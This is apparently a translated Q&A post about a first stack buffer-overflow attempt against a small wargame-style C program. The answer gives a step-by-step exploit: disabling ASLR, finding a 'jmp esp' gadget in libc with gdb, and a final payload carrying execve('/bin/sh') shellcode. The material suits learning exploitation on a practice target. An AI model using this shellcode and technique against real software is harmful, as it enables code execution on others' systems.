我的缓冲区溢出有效负载似乎无法正常工作

时间:2013-11-12 17:37:56

标签: c return buffer-overflow shellcode payload

我正在尝试以下程序的缓冲区溢出:

#include <stdio.h>

#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[]){
    char buffer[40];
    int i;

if(argc < 2){
    printf("argv error\n");
    exit(0);
}

// egghunter 
for(i=0; environ[i]; i++)
    memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')
{
    printf("stack is still your friend.\n");
    exit(0);
}
strcpy(buffer, argv[1]); 
printf("%s\n", buffer);
}

我使用此有效负载尝试溢出缓冲区,

./orc `perl -e 'print"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11'``perl -e 'print "\x90"x9, **"\xac\xfa\xff\xbf"'`** 

然而,它似乎没有用,只给了我这个结果。

j
 X?Rh//shh/bin??S?訴???????????

是的,这几乎是我第一次尝试BOF,而且我觉得有效载荷末尾的粗体地址(粗体)似乎不准确。那么,如何在shellcode的末尾添加ret地址呢?它做了什么? 在此先感谢:)

1 个答案:

答案 0 :(得分:0)

我无法告诉你你的返回代码是否正确,因为我不知道你计划返回的地方。

使用“-fno-stack-protector -z execstack”编译此代码并禁用ASLR(echo 0&gt; / proc / sys / kernel / randomize_va_space)我的缓冲区如下所示:

# ./orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')

在gdb中运行它(gdb --args orc $(python -c'print“A”* 56 +“\ x0f \ x8a \ xf8 \ xb7”+“\ xCC”* 40'))并转储esp (x / 100x $ esp)显示它在返回地址之后直接指向缓冲区的区域,所以如果你能在内存中找到一个RET%ESP指令,让你的返回地址指向它会让你直接回到你的缓冲液中。

要查找合适的返回地址,您可以执行以下操作(再次假设已禁用ASLR):

  1. 找到链接库的地址 - 在我的方框中显示:

    # ldd orc
    linux-gate.so.1 =>  (0xb7fff000)
    libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e80000)
    /lib/ld-linux.so.2 (0x80000000)
    
  2. 使用“find / b [start-search-address],[end-search-address],[stuff-to-],在gdb中搜索为libc(0xb7e80000)提供的RET%ESP指令的地址搜索用于]”。

    # gdb --args orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')
    gdb$ b main
    Breakpoint 1 at 0x8048555: file orc.c, line 12
    gdb$ r
    Breakpoint 1, main (argc=0x2, argv=0xbffff4e4) at orc.c:12
    12      if (argc < 2)
    gdb$ find /b 0xb7e80000, 0xb7fff000, 0xff, 0xe4
    0xb7f88a0f
    0xb7f96b73
    0xb7f96bf3
    ...
    0xb7f96df3
    0xb7f975f3
    0xb7f97673
    
  3. 选择一个作为返回地址 - 我选择了第一个'0xb7f88a0f',它被作为'\ x0f \ x8a \ xf8 \ xb7'连接到缓冲区。

  4. 这应该会让你在你的缓冲区上找到你可以通过在返回地址后放置一堆断点('\ xCC')并在gdb中运行程序再次验证,如上所示。执行应该在您的返回地址后紧接着地址。验证:

    gdb$ x/8x $eip-4
    0xbffff43c: 0xb7f88a0f  0xcccccccc  0xcccccccc  0xcccccccc
    0xbffff44c: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
    

    你应该在EIP看到你的返回地址 - 4个字节,最后的缓冲区应该是这样的(不需要nops):

    $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')